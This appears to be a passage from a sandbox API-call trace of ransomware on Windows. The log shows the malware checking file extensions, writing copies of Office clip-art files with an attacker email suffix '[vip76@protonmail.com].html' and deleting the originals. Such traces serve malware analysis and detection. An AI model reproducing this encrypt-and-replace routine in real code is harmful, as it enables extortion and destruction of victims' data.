	[0170.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0170.341] lstrlenW (lpString=".dbf") returned 4
	[0170.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0170.341] lstrlenW (lpString=".1cd") returned 4
	[0170.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0170.341] lstrlenW (lpString=".jpg") returned 4
	[0170.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.341] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0170.341] lstrlenW (lpString="FD00564_.WMF") returned 12
	[0170.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c
	[0170.341] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=896) returned 1
	[0170.341] CloseHandle (hObject=0x50c) returned 1
	[0170.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220
	[0170.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0170.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c
	[0170.342] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.342] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0170.343] GetLastError () returned 0x0
	[0170.343] ReadFile (in: hFile=0x50c, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x380, lpOverlapped=0x0) returned 1
	[0170.345] WriteFile (in: hFile=0x51c, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x390, lpOverlapped=0x0) returned 1
	[0170.346] ReadFile (in: hFile=0x50c, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.346] WriteFile (in: hFile=0x51c, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.346] SetEndOfFile (hFile=0x51c) returned 1
	[0170.346] CloseHandle (hObject=0x51c) returned 1
	[0170.346] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.346] SetEndOfFile (hFile=0x50c) returned 1
	[0170.349] CloseHandle (hObject=0x50c) returned 1
	[0170.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0170.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1
	[0170.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0170.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0170.350] lstrlenW (lpString=".doc") returned 4
	[0170.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.350] lstrlenW (lpString=".docx") returned 5
	[0170.350] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0170.350] lstrlenW (lpString=".pdf") returned 4
	[0170.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.350] lstrlenW (lpString=".xls") returned 4
	[0170.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.350] lstrlenW (lpString=".xlsx") returned 5
	[0170.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0170.350] lstrlenW (lpString=".ppt") returned 4
	[0170.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0170.350] lstrlenW (lpString=".zip") returned 4
	[0170.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.351] lstrlenW (lpString=".rar") returned 4
	[0170.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.351] lstrlenW (lpString=".bz2") returned 4
	[0170.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.351] lstrlenW (lpString=".7z") returned 3
	[0170.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0170.351] lstrlenW (lpString=".dbf") returned 4
	[0170.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0170.351] lstrlenW (lpString=".1cd") returned 4
	[0170.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0170.351] lstrlenW (lpString=".jpg") returned 4
	[0170.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0170.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0170.351] lstrlenW (lpString=".doc") returned 4
	[0170.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.351] lstrlenW (lpString=".docx") returned 5
	[0170.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0170.351] lstrlenW (lpString=".pdf") returned 4
	[0170.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.351] lstrlenW (lpString=".xls") returned 4
	[0170.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.351] lstrlenW (lpString=".xlsx") returned 5
	[0170.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0170.351] lstrlenW (lpString=".ppt") returned 4
	[0170.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0170.351] lstrlenW (lpString=".zip") returned 4
	[0170.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.352] lstrlenW (lpString=".rar") returned 4
	[0170.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.352] lstrlenW (lpString=".bz2") returned 4
	[0170.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.352] lstrlenW (lpString=".7z") returned 3
	[0170.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0170.352] lstrlenW (lpString=".dbf") returned 4
	[0170.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0170.596] lstrlenW (lpString=".1cd") returned 4
	[0170.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0170.596] lstrlenW (lpString=".jpg") returned 4
	[0170.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.596] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0170.596] lstrlenW (lpString="FD00775_.WMF") returned 12
	[0170.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0171.763] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=11152) returned 1
	[0171.763] CloseHandle (hObject=0x580) returned 1
	[0171.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220
	[0171.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0171.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0171.764] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.764] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0171.766] GetLastError () returned 0x0
	[0171.766] ReadFile (in: hFile=0x580, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x2b90, lpOverlapped=0x0) returned 1
	[0171.785] WriteFile (in: hFile=0x584, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0171.786] ReadFile (in: hFile=0x580, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.786] WriteFile (in: hFile=0x584, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.786] SetEndOfFile (hFile=0x584) returned 1
	[0171.786] CloseHandle (hObject=0x584) returned 1
	[0171.787] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.787] SetEndOfFile (hFile=0x580) returned 1
	[0171.790] CloseHandle (hObject=0x580) returned 1
	[0171.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0171.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1
	[0171.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0171.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0171.792] lstrlenW (lpString=".doc") returned 4
	[0171.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.792] lstrlenW (lpString=".docx") returned 5
	[0171.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.792] lstrlenW (lpString=".pdf") returned 4
	[0171.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.792] lstrlenW (lpString=".xls") returned 4
	[0171.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.792] lstrlenW (lpString=".xlsx") returned 5
	[0171.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.792] lstrlenW (lpString=".ppt") returned 4
	[0171.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0171.792] lstrlenW (lpString=".zip") returned 4
	[0171.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.792] lstrlenW (lpString=".rar") returned 4
	[0171.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.792] lstrlenW (lpString=".bz2") returned 4
	[0171.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.792] lstrlenW (lpString=".7z") returned 3
	[0171.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0171.792] lstrlenW (lpString=".dbf") returned 4
	[0171.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0171.792] lstrlenW (lpString=".1cd") returned 4
	[0171.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0171.793] lstrlenW (lpString=".jpg") returned 4
	[0171.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0171.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0171.793] lstrlenW (lpString=".doc") returned 4
	[0171.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.793] lstrlenW (lpString=".docx") returned 5
	[0171.793] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.793] lstrlenW (lpString=".pdf") returned 4
	[0171.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.793] lstrlenW (lpString=".xls") returned 4
	[0171.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.793] lstrlenW (lpString=".xlsx") returned 5
	[0171.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.793] lstrlenW (lpString=".ppt") returned 4
	[0171.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0171.793] lstrlenW (lpString=".zip") returned 4
	[0171.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.793] lstrlenW (lpString=".rar") returned 4
	[0171.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.793] lstrlenW (lpString=".bz2") returned 4
	[0171.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.793] lstrlenW (lpString=".7z") returned 3
	[0171.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0171.793] lstrlenW (lpString=".dbf") returned 4
	[0171.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0171.793] lstrlenW (lpString=".1cd") returned 4
	[0171.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0171.794] lstrlenW (lpString=".jpg") returned 4
	[0171.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.794] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0171.794] lstrlenW (lpString="FD01176_.WMF") returned 12
	[0171.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0171.794] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=4984) returned 1
	[0171.795] CloseHandle (hObject=0x580) returned 1
	[0171.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x220
	[0171.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0171.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0171.795] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.795] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0171.796] GetLastError () returned 0x0
	[0171.796] ReadFile (in: hFile=0x580, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1378, lpOverlapped=0x0) returned 1
	[0171.801] WriteFile (in: hFile=0x584, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1380, lpOverlapped=0x0) returned 1
	[0171.802] ReadFile (in: hFile=0x580, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.802] WriteFile (in: hFile=0x584, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.802] SetEndOfFile (hFile=0x584) returned 1
	[0171.802] CloseHandle (hObject=0x584) returned 1
	[0171.805] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.805] SetEndOfFile (hFile=0x580) returned 1
	[0171.810] CloseHandle (hObject=0x580) returned 1
	[0171.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0171.813] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1
	[0171.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0171.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0171.814] lstrlenW (lpString=".doc") returned 4
	[0171.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.814] lstrlenW (lpString=".docx") returned 5
	[0171.814] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.814] lstrlenW (lpString=".pdf") returned 4
	[0171.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.814] lstrlenW (lpString=".xls") returned 4
	[0171.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.814] lstrlenW (lpString=".xlsx") returned 5
	[0171.814] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.814] lstrlenW (lpString=".ppt") returned 4
	[0171.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0171.814] lstrlenW (lpString=".zip") returned 4
	[0171.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.815] lstrlenW (lpString=".rar") returned 4
	[0171.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.815] lstrlenW (lpString=".bz2") returned 4
	[0171.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.815] lstrlenW (lpString=".7z") returned 3
	[0171.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0171.815] lstrlenW (lpString=".dbf") returned 4
	[0171.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0171.815] lstrlenW (lpString=".1cd") returned 4
	[0171.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0171.815] lstrlenW (lpString=".jpg") returned 4
	[0171.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0171.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0171.815] lstrlenW (lpString=".doc") returned 4
	[0171.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.815] lstrlenW (lpString=".docx") returned 5
	[0171.815] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.815] lstrlenW (lpString=".pdf") returned 4
	[0171.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.815] lstrlenW (lpString=".xls") returned 4
	[0171.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.815] lstrlenW (lpString=".xlsx") returned 5
	[0171.815] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.815] lstrlenW (lpString=".ppt") returned 4
	[0171.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0171.815] lstrlenW (lpString=".zip") returned 4
	[0171.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.816] lstrlenW (lpString=".rar") returned 4
	[0171.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.816] lstrlenW (lpString=".bz2") returned 4
	[0171.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.816] lstrlenW (lpString=".7z") returned 3
	[0171.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
